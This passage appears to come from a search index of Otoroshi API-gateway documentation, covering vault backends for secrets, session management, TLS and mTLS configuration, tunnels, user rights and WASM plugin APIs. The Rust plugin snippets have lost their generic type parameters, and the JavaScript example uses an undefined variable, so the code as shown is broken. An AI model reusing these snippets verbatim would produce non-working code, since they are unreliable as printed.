cluster state.\n # only works if `otoroshi.cluster.autoUpdateState=true`\n leader-fetch-only = false\n leader-fetch-only = ${?OTOROSHI_VAULTS_LEADER_FETCH_ONLY}\n env {\n type = \"env\"\n prefix = ${?OTOROSHI_VAULTS_ENV_PREFIX}\n }\n}\n```\n\nyou can see here the global configuration and a default backend configured that can retrieve secrets from environment variables. \n\nThe configuration keys can be used for \n\n- `secrets-ttl`: the amount of milliseconds before the secret value is read again from backend\n- `cached-secrets`: the number of secrets that will be cached on an otoroshi instance\n- `read-timeout`: the timeout (in milliseconds) to read a secret from a backend\n\n## Entities with secrets management\n\nthe entities that support secrets management are the following \n\n- `routes`\n- `services`\n- `service_descriptors`\n- `apikeys`\n- `certificates`\n- `jwt_verifiers`\n- `authentication_modules`\n- `targets`\n- `backends`\n- `tcp_services`\n- `data_exporters`\n\n## Define a reference to a secret\n\nin the previously listed entities, you can define, almost everywhere, references to a secret using the following syntax:\n\n`${vault://name_of_the_vault/secret/of/the/path}`\n\nlet say I define a new apikey with the following value as secret `${vault://my_env/apikey_secret}` with the following secrets management configuration\n\n```conf\nvaults {\n enabled = true\n secrets-ttl = 300000\n cached-secrets = 10000\n read-ttl = 10000\n my_env {\n type = \"env\"\n }\n}\n```\n\nif the machine running otoroshi has an environment variable named `APIKEY_SECRET` with the value `verysecret`, then you will be able to can an api with the defined apikey `client_id` and a `client_secret` value of `verysecret`\n\n```sh\ncurl 'http://my-awesome-api.oto.tools:8080/api/stuff' -u awesome_apikey:verysecret\n```\n\n## Possible backends\n\nOtoroshi comes with the support of several secrets management backends.\n\n### Environment variables\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"env\"\n prefix = \"the_prefix_added_to_the_name_of_the_env_variable\"\n }\n}\n```\n\n### Local\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"local\"\n root = \"the_root_path/in_otoroshi/environment\"\n }\n}\n```\n\nvalue of this vault can be configured in the danger zone > Global metadata > Otoroshi environment.\n\n### Infisical\n\na backend for the awesome open source project [Infisical](https://infisical.com/). It support both E2EE and non E2EE secrets.\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"infisical\"\n baseUrl = \"https://app.infisical.com\" # optional, the base url of your infisical server, fallbacks to https://app.infisical.com\n serviceToken = \"st.xxxx.yyyy.zzzz\" # the service token for your projet\n e2ee = true # are you secrets end to end encrypted\n defaultSecretType = \"shared\" # optional, fallbacks to shared\n defaultWorkspaceId = \"xxxxxx\" # optional, value can be passed in the secret address\n defaultEnvironment = \"dev\" # optional, value can be passed in the secret address\n }\n}\n```\n\nyou should define your references like `${vault://infisical_vault/my_secret_path?workspaceId=xxx&environment=dev&type=shared}`. `workspaceId`, `environment` and `type` are optional if filled in global config. \n\nYou can also pass a `json_pointer=/foo/bar` to handle the value like a json document a select a value inside it.\n\n### Hashicorp Vault\n\na backend for [Hashicorp Vault](https://www.vaultproject.io/). Right now we only support KV engines.\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"hashicorp-vault\"\n url = \"http://127.0.0.1:8200\"\n mount = \"kv\" # the name of the secret store in vault\n kv = \"v2\" # the version of the kv store (v1 or v2)\n token = \"root\" # the token that can access to your secrets\n }\n}\n```\n\nyou should define your references like `${vault://hashicorp_vault/secret/path/key_name}`.\n\n\n### Azure Key Vault\n\na backend for [Azure Key Vault](https://azure.microsoft.com/en-en/services/key-vault/). Right now we only support secrets and not keys and certificates.\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"azure\"\n url = \"https://keyvaultname.vault.azure.net\"\n api-version = \"7.2\" # the api version of the vault\n tenant = \"xxxx-xxx-xxx\" # your azure tenant id, optional\n client_id = \"xxxxx\" # your azure client_id\n client_secret = \"xxxxx\" # your azure client_secret\n # token = \"xxx\" possible if you have a long lived existing token. will take over tenant / client_id / client_secret\n }\n}\n```\n\nyou should define your references like `${vault://azure_vault/secret_name/secret_version}`. `secret_version` is mandatory\n\nIf you want to use certificates and keys objects from the azure key vault, you will have to specify an option in the reference named `azure_secret_kind` with possible value `certificate`, `privkey`, `pubkey` like the following :\n\n```\n${vault://azure_vault/myprivatekey/secret_version?azure_secret_kind=privkey}\n```\n\n### AWS Secrets Manager\n\na backend for [AWS Secrets Manager](https://aws.amazon.com/en/secrets-manager/)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"aws\"\n access-key = \"key\"\n access-key-secret = \"secret\"\n region = \"eu-west-3\" # the aws region of your secrets management\n }\n}\n```\n\nyou should define your references like `${vault://aws_vault/secret_name/secret_version}`. `secret_version` is optional\n\n### Google Cloud Secrets Manager\n\na backend for [Google Cloud Secrets Manager](https://cloud.google.com/secret-manager)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"gcloud\"\n url = \"https://secretmanager.googleapis.com\"\n apikey = \"secret\"\n }\n}\n```\n\nyou should define your references like `${vault://gcloud_vault/projects/foo/secrets/bar/versions/the_version}`. `the_version` can be `latest`\n\n### AlibabaCloud Cloud Secrets Manager\n\na backend for [AlibabaCloud Secrets Manager](https://www.alibabacloud.com/help/en/doc-detail/152001.html)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"alibaba-cloud\"\n url = \"https://kms.eu-central-1.aliyuncs.com\"\n access-key-id = \"access-key\"\n access-key-secret = \"secret\"\n }\n}\n```\n\nyou should define your references like `${vault://alibaba_vault/secret_name}`\n\n\n### Kubernetes Secrets\n\na backend for [Kubernetes secrets](https://kubernetes.io/en/docs/concepts/configuration/secret/)\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"kubernetes\"\n # see the configuration of the kubernetes plugin, \n # by default if the pod if well configured, \n # you don't have to setup anything\n }\n}\n```\n\nyou should define your references like `${vault://k8s_vault/namespace/secret_name/key_name}`. `key_name` is optional. if present, otoroshi will try to lookup `key_name` in the secrets `stringData`, if not defined the secrets `data` will be base64 decoded and used.\n\n\n### Izanami config.\n\na backend for [Izanami config.](https://maif.github.io/izanami/manual/)\n\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"izanami\"\n url = \"http://127.0.0.1:8200\"\n client-id = \"client\"\n client-secret = \"secret\"\n }\n}\n```\n\nyou should define your references like `${vault://izanami_vault/the:secret:id/key_name}`. `key_name` is optional if the secret value is not a json object\n\n### Spring Cloud Config\n\na backend for [Spring Cloud Config.](https://docs.spring.io/spring-cloud-config/docs/current/reference/html/)\n\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"spring-cloud\"\n url = \"http://127.0.0.1:8000\"\n root = \"myapp/prod\"\n headers {\n authorization = \"Basic xxxx\"\n }\n }\n}\n```\n\nyou should define your references like `${vault://spring_vault/the/path/of/the/value}` where `/the/path/of/the/value` is the path of the value.\n\n### Http backend\n\na backend for that uses the result of an http endpoint\n\nthe configuration of this backend should be like\n\n```conf\nvaults {\n ...\n name_of_the_vault {\n type = \"http\"\n url = \"http://127.0.0.1:8000/endpoint/for/config\"\n headers {\n authorization = \"Basic xxxx\"\n }\n }\n}\n```\n\nyou should define your references like `${vault://http_vault/the/path/of/the/value}` where `/the/path/of/the/value` is the path of the value.\n"},{"name":"sessions-mgmt.md","id":"/topics/sessions-mgmt.md","url":"/topics/sessions-mgmt.html","title":"Sessions management","content":"# Sessions management\n\n## Admins\n\nAll logged users to an Otoroshi instance are administrators. An user session is created for each sucessfull connection to the UI. \n\nThese sessions are listed in the `Admin users sessions` (available in the cog icon menu or at this location of your instance `/bo/dashboard/sessions/admin`).\n\nAn admin user session is composed of: \n\n* `name`: the name of the connected user\n* `email`: the unique email\n* `Created at`: the creation date of the user session\n* `Expires at`: date until the user session is drop\n* `Profile`: user profile, at JSON format, containing name, email and others linked metadatas\n* `Rights`: list of rules to authorize the connected user on each tenant and teams.\n* `Discard session`: action to kill a session. On click, a modal will appear with the session ID\n\nIn the `Admin users sessions` page, you have two more actions:\n\n* `Discard all sessions`: kills all current sessions (including the session of the owner of this action)\n* `Discard old sessions`: kill all outdated sessions\n\n## Private apps\n\nAll logged users to a protected application has an private user session.\n\nThese sessions are listed in the `Private apps users sessions` (available in the cog icon menu or at this location of your instance `/bo/dashboard/sessions/private`).\n\nAn private user session is composed of: \n\n* `name`: the name of the connected user\n* `email`: the unique email\n* `Created at`: the creation date of the user session\n* `Expires at`: date until the user session is drop\n* `Profile`: user profile, at JSON format, containing name, email and others linked metadatas\n* `Meta.`: list of metadatas added by the authentication module.\n* `Tokens`: list of tokens received from the identity provider used. In the case of a memory authentication, this part will keep empty.\n* `Discard session`: action to kill a session. On click, a modal will appear with the session ID\n"},{"name":"tls.md","id":"/topics/tls.md","url":"/topics/tls.html","title":"TLS","content":"# TLS\n\nas you might have understand, otoroshi can store TLS certificates and use them dynamically. It means that once a certificate is imported or created in otoroshi, you can immediately use it to serve http request over TLS, to call https backends that requires mTLS or that do not have certicates signed by a globally knowned authority.\n\n## TLS termination\n\nany certficate added to otoroshi with a valid `CN` and `SANs` can be used in the following seconds to serve https requests. If you do not provide a private key with a certificate chain, the certificate will only be trusted like a CA. If you want to perform mTLS calls on you otoroshi instance, do not forget to enabled it (it is disabled by default for performance reasons as the TLS handshake is bigger with mTLS enabled)\n\n```sh\notoroshi.ssl.fromOutside.clientAuth=None|Want|Need\n```\n\nor using env. variables\n\n```sh\nSSL_OUTSIDE_CLIENT_AUTH=None|Want|Need\n```\n\n### TLS termination configuration\n\nYou can configure TLS termination statically using config. file or env. variables. Everything is available at `otoroshi.tls`\n\n```conf\notoroshi {\n tls {\n # the cipher suites used by otoroshi TLS termination\n cipherSuitesJDK11 = [\"TLS_AES_128_GCM_SHA256\", \"TLS_AES_256_GCM_SHA384\", \"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_DSS_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_RSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_RSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA\", \"TLS_EMPTY_RENEGOTIATION_INFO_SCSV\"]\n cipherSuitesJDK8 = [\"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_RSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_256_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_256_CBC_SHA\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA256\", \"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_RSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA\", \"TLS_ECDH_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\", \"TLS_DHE_DSS_WITH_AES_128_CBC_SHA\", \"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384\", \"TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\", \"TLS_DHE_DSS_WITH_AES_256_GCM_SHA384\", \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256\", \"TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\", \"TLS_DHE_DSS_WITH_AES_128_GCM_SHA256\", \"TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA\", \"TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\", \"SSL_RSA_WITH_3DES_EDE_CBC_SHA\", \"TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA\", \"TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA\", \"SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA\", \"SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA\", \"TLS_EMPTY_RENEGOTIATION_INFO_SCSV\"]\n cipherSuites = []\n # the protocols used by otoroshi TLS termination\n protocolsJDK11 = [\"TLSv1.3\", \"TLSv1.2\", \"TLSv1.1\", \"TLSv1\"]\n protocolsJDK8 = [\"SSLv2Hello\", \"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n protocols = []\n # the JDK cacert access\n cacert {\n path = \"$JAVA_HOME/lib/security/cacerts\"\n password = \"changeit\"\n }\n # the mtls mode\n fromOutside {\n clientAuth = \"None\"\n clientAuth = ${?SSL_OUTSIDE_CLIENT_AUTH}\n }\n # the default trust mode\n trust {\n all = false\n all = ${?OTOROSHI_SSL_TRUST_ALL}\n }\n # some initial cacert access, useful to include non standard CA when starting (file paths)\n initialCacert = ${?CLUSTER_WORKER_INITIAL_CACERT}\n initialCacert = ${?INITIAL_CACERT}\n initialCert = ${?CLUSTER_WORKER_INITIAL_CERT}\n initialCert = ${?INITIAL_CERT}\n initialCertKey = ${?CLUSTER_WORKER_INITIAL_CERT_KEY}\n initialCertKey = ${?INITIAL_CERT_KEY}\n # initialCerts = [] \n }\n}\n```\n\n\n### TLS termination settings\n\nIt is possible to adjust the behavior of the TLS termination from the `danger zone` at the `Tls Settings` section. Here you can either define that a non-matching SNI call will use a random TLS certtificate to reply or will use a default domain (the TLS certificate associated to this domain) to reply. Here you can also choose if you want to trust all the CAs trusted by your JDK when performing TLS calls `Trust JDK CAs (client)` or when receiving mTLS calls `Trust JDK CAs (server)`. If you disable the later, it is possible to select the list of CAs presented to the client during mTLS handshake.\n\n### Certificates auto generation\n\nit is also possible to generate non-existing certificate on the fly without losing the request. If you are interested by this feature, you can enable it in the `danger zone` at the `Auto Generate Certificates` section. Here you'll have to enable it and select the CA that will generate the certificate. Of course, the client will have to trust the selected CA. You can also add filters to choose which domain are allowed to generate certificates or not. The `Reply Nicely` flag is used to reply a nice error message (ie. human readable) telling that it's not possible to have an auto certficate for the current domain. \n\n## Backends TLS and mTLS calls\n\nFor any call to a backend, it is possible to customize the TLS behavior \n\n@@@ div { .centered-img }\n\n@@@\n\nhere you can define your level of trust (trust all, loose verification) or even select on or more CAs you will trust for the following backend calls. You can also select the client certificate that will be used for the following backend calls\n\n## Keypair for signing and verification\n\nIt is also possible to use the keypair contained in a certificate to sign and verificate JWT token signature. You can mark an existing certificate in otoroshi as a keypair using the `keypair` on the certificate page.\n\n@@@ div { .centered-img }\n\n@@@\n"},{"name":"tunnels.md","id":"/topics/tunnels.md","url":"/topics/tunnels.html","title":"Otoroshi tunnels","content":"# Otoroshi tunnels\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nSometimes, exposing apis that lives in our private network can be a nightmare, especially from a networking point of view. \nWith otoroshi tunnels, this is now trivial, as long as your internal otoroshi (that lives inside your private network) is able to contact an external otoroshi (exposed on the internet).\n\n@@@ warning { .margin-top-20 }\nYou have to enable cluster mode (Leader or Worker) to make this feature work. As this feature is experimental, we only support simple http request right now. Server Sent Event and Websocket request are not supported at the moment.\n@@@\n\n## How Otoroshi tunnels works\n\nthe main idea behind otoroshi tunnels is that the connection between your private network et the public network is initiated by the private network side. You don't have to expose a part of your private network, create a DMZ or whatever, you just have to authorize your private network otoroshi instance to contact your public network otoroshi instance.\n\n@@@ div { .centered-img }\n\n@@@\n\nonce the persistent tunnel has been created, you can create routes on the public otoroshi instance that uses the otoroshi `Remote tunnel calls` to target your remote routes through the designated tunnel instance \n\n\n@@@ div { .centered-img }\n\n@@@\n\n@@@ warning { .margin-top-20 }\nthis feature may introduce additional latency as the call passes through otoroshi tunnels\n@@@\n\n## Otoroshi tunnel example\n\nfirst you have to enable the tunnels feature in your otoroshi configuration (on both public and private instances)\n\n```conf\notoroshi {\n ...\n tunnels {\n enabled = true\n enabled = ${?OTOROSHI_TUNNELS_ENABLED}\n ...\n }\n}\n```\n\nthen you can setup a tunnel instance on your private instance to contact your public instance\n\n```conf\notoroshi {\n ...\n tunnels {\n enabled = true\n ...\n public-apis {\n id = \"public-apis\"\n name = \"public apis tunnel\"\n url = \"https://otoroshi-api.company.com:443\"\n host = \"otoroshi-api.company.com\"\n clientId = \"xxx\"\n clientSecret = \"xxxxxx\"\n # ipAddress = \"127.0.0.1\" # optional: ip address of the public instance admin api\n # tls { # optional: TLS settings to access the public instance admin api\n # ... \n # }\n # export-routes = true # optional: send routes information to remote otoroshi instance to facilitate remote route exposition\n # export-routes-tag = \"tunnel-exposed\" # optional: only send routes information if the route has this tag\n }\n }\n}\n```\n\nNow when your private otoroshi instance will boot, a persistent tunnel will be made between private and public instance. \nNow let say you have a private api exposed on `api-a.company.local` on your private otoroshi instance and you want to expose it on your public otoroshi instance. \n\nFirst create a new route exposed on `api-a.company.com` that targets `https://api-a.company.local:443`\n\n@@@ div { .centered-img }\n\n@@@\n\nthen add the `Remote tunnel calls` plugin to your route and set the tunnel id to `public-apis` to match the id you set in the otoroshi config file\n\n@@@ div { .centered-img }\n\n@@@\n\nadd all the plugin you need to secure this brand new public api and call it\n\n```sh\ncurl \"https://api-a.company.com/users\" | jq\n```\n\n## Easily expose your remote services\n\nyou can see all the connected tunnel instances on an otoroshi instance on the `Connected tunnels` (`Cog icon` / `Connected tunnels`). For each tunnel instance you will be able to check the tunnel health and also to easily expose all the routes available on the other end of the tunnel. Just clic on the `expose` button of the route you want to expose, and a new route will be created with the `Remote tunnel calls` plugin already setup.\n\n@@@ div { .centered-img }\n\n@@@\n"},{"name":"user-rights.md","id":"/topics/user-rights.md","url":"/topics/user-rights.html","title":"Otoroshi user rights","content":"# Otoroshi user rights\n\nIn Otoroshi, all users are considered **Administrators**. This choice is reinforced by the fact that Otoroshi is designed to be an administrator user interface and not an interface for users who simply want to view information. For this type of use, we encourage to use the admin API rather than giving access to the user interface.\n\nThe Otoroshi rights are split by a list of authorizations on **organizations** and **teams**. \n\nLet's taking an example where we want to authorize an administrator user on all organizations and teams.\n\nThe list of rights will be :\n\n```json\n[\n {\n \"tenant\": \"*:rw\", # (1)\n \"teams\": [\"*:rw\"] # (2)\n }\n]\n```\n\n* (1): this field, separated by a colon, indicates the name of the tenant and the associated rights. In our case, we set `*` to apply the rights to all tenants, and the `rw` to get the read and write access on them.\n* (2): the `teams` array field, represents the list of rights, applied by team. The behaviour is the same as the tenant field, we define the team or the wildcard, followed by the rights\n\nif you want to have an user that is administrator only for one organization, the rights will be :\n\n```json\n[\n {\n \"tenant\": \"orga-1:rw\",\n \"teams\": [\"*:rw\"]\n }\n]\n```\n\nif you want to have an user that is administrator only for two organization, the rights will be :\n\n```json\n[\n {\n \"tenant\": \"orga-1:rw\",\n \"teams\": [\"*:rw\"]\n },\n {\n \"tenant\": \"orga-2:rw\",\n \"teams\": [\"*:rw\"]\n }\n]\n```\n\nif you want to have an user that can only see 3 teams of one organization and one team in the other, the rights will be :\n\n```json\n[\n {\n \"tenant\": \"orga-1:rw\",\n \"teams\": [\n \"team-1:rw\",\n \"team-2:rw\",\n \"team-3:rw\",\n ]\n },\n {\n \"tenant\": \"orga-2:rw\",\n \"teams\": [\n \"team-4:rw\"\n ]\n }\n]\n```\n\nThe list of possible rights for an organization or a team is:\n\n* **r**: read access\n* **w**: write access\n* **not**: none access to the resource\n\nThe list of possible tenant and teams are your created tenants and teams, and the wildcard to define rights to all resources once.\n\nThe user rights is defined by the @ref:[authentication modules](../entities/auth-modules.md).\n"},{"name":"wasm-usage.md","id":"/topics/wasm-usage.md","url":"/topics/wasm-usage.html","title":"Otoroshi and WASM","content":"# Otoroshi and WASM\n\nWebAssembly (WASM) is a simple machine model and executable format with an extensive specification. It is designed to be portable, compact, and execute at or near native speeds. Otoroshi already supports the execution of WASM files by providing different plugins that can be applied on routes. These plugins are:\n\n- `WasmRouteMatcher`: useful to define if a route can handle a request\n- `WasmPreRoute`: useful to check request and extract useful stuff for the other plugins\n- `WasmAccessValidator`: useful to control access to a route (jump to the next section to learn more about it)\n- `WasmRequestTransformer`: transform the content of an incoming request (body, headers, etc ...)\n- `WasmBackend`: execute a WASM file as Otoroshi target. Useful to implement user defined logic and function at the edge\n- `WasmResponseTransformer`: transform the content of the response produced by the target\n- `WasmSink`: create a sink plugin to handle unmatched requests\n- `WasmRequestHandler`: create a plugin that can handle the whole request lifecycle\n- `WasmJob`: create a job backed by a wasm function\n\nTo simplify the process of WASM creation and usage, Otoroshi provides:\n\n- otoroshi ui integration: a full set of plugins that let you pick which WASM function to runtime at any point in a route\n- otoroshi `wasmo`: a code editor in the browser that let you write your plugin in `Rust`, `TinyGo`, `Javascript` or `Assembly Script` without having to think about compiling it to WASM (you can find a complete tutorial about it @ref:[here](../how-to-s/wasmo-installation.md))\n\n@@@ div { .centered-img }\n\n@@@\n\n## Available tutorials\n\nhere is the list of available tutorials about wasm in Otoroshi\n\n1. @ref:[Install a Wasmo](../how-to-s/wasmo-installation.md)\n2. @ref:[Use a WASM plugin](../how-to-s/wasm-usage.md)\n\n## Wasm plugins entities\n\nOtoroshi provides a dedicated entity for wasm plugins. Those entities makes it easy to declare a wasm plugin with specific configuration only once and use it in multiple places. \n\nYou can find wasm plugin entities at `/bo/dashboard/wasm-plugins`\n\nIn a wasm plugin entity, you can define the source of your wasm plugin. You can choose between\n\n- `base64`: a base64 encoded wasm script\n- `file`: the path to a wasm script file\n- `http`: the url to a wasm script file\n- `wasmo`: the name of a wasm script compiled by a Wasmo instance\n\nthen you can define the number of memory pages available for each plugin instanciation, the name of the function you want to invoke, the config. map of the VM and if you want to keep a wasm vm alive during the request lifecycle to be able to reuse it in different plugin steps\n\n@@@ div { .centered-img }\n\n@@@\n\n## Otoroshi plugins api\n\nthe following parts illustrates the apis for the different plugins. Otoroshi uses [Extism](https://extism.org/) to handle content sharing between the JVM and the wasm VM. All structures are sent to/from the plugins as json strings. \n\nfor instance, if we want to write a `WasmBackendCall` plugin using javascript, we could write something like\n\n```js\nfunction backend_call() {\n const input_str = Host.inputString(); // here we get the context passed by otoroshi as json string\n const backend_call_context = JSON.parse(input_str); // and parse it\n if (backend_call_context.path === '/hello') {\n Host.outputString(JSON.stringify({ // now we return a json string to otoroshi with the \"backend\" call result\n headers: { \n 'content-type': 'application/json' \n },\n body_json: { \n message: `Hello ${ctx.request.query.name[0]}!` \n },\n status: 200,\n }));\n } else {\n Host.outputString(JSON.stringify({ // now we return a json string to otoroshi with the \"backend\" call result\n headers: { \n 'content-type': 'application/json' \n },\n body_json: { \n error: \"not found\"\n },\n status: 404,\n }));\n }\n return 0; // we return 0 to tell otoroshi that everything went fine\n}\n```\n\nthe following examples are written in rust. the rust macros provided by extism makes the usage of `Host.inputString` and `Host.outputString` useless. Remember that it's still used under the hood and that the structures are passed as json strings.\n\ndo not forget to add the extism pdk library to your project to make it compile\n\nCargo.toml\n: @@snip [Cargo.toml](../snippets/wasmo/Cargo.toml) \n\ngo.mod\n: @@snip [go.mod](../snippets/wasmo/go.mod) \n\npackage.json\n: @@snip [package.json](../snippets/wasmo/package.json) \n\n### WasmRouteMatcher\n\nA route matcher is a plugin that can help the otoroshi router to select a route instance based on your own custom predicate. Basically it's a function that returns a boolean answer.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn matches_route(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmMatchRouteContext {\n pub snowflake: Option,\n pub route: Route,\n pub request: RawRequest,\n pub config: Value,\n pub attrs: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmMatchRouteResponse {\n pub result: bool,\n}\n```\n\n### WasmPreRoute\n\nA pre-route plugin can be used to short-circuit a request or enrich it (maybe extracting your own kind of auth. token, etc) a the very beginning of the request handling process, just after the routing part, when a route has bee chosen by the otoroshi router.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn pre_route(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmPreRouteContext {\n pub snowflake: Option,\n pub route: Route,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmPreRouteResponse {\n pub error: bool,\n pub attrs: Option>,\n pub status: Option,\n pub headers: Option>,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmAccessValidator\n\nAn access validator plugin is typically used to verify if the request can continue or must be cancelled. For instance, the otoroshi apikey plugin is an access validator that check if the current apikey provided by the client is legit and authorized on the current route.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn can_access(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmAccessValidatorContext {\n pub snowflake: Option,\n pub apikey: Option,\n pub user: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmAccessValidatorError {\n pub message: String,\n pub status: u32,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmAccessValidatorResponse {\n pub result: bool,\n pub error: Option,\n}\n```\n\n### WasmRequestTransformer\n\nA request transformer plugin can be used to compose or transform the request that will be sent to the backend\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn transform_request(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmRequestTransformerContext {\n pub snowflake: Option,\n pub raw_request: 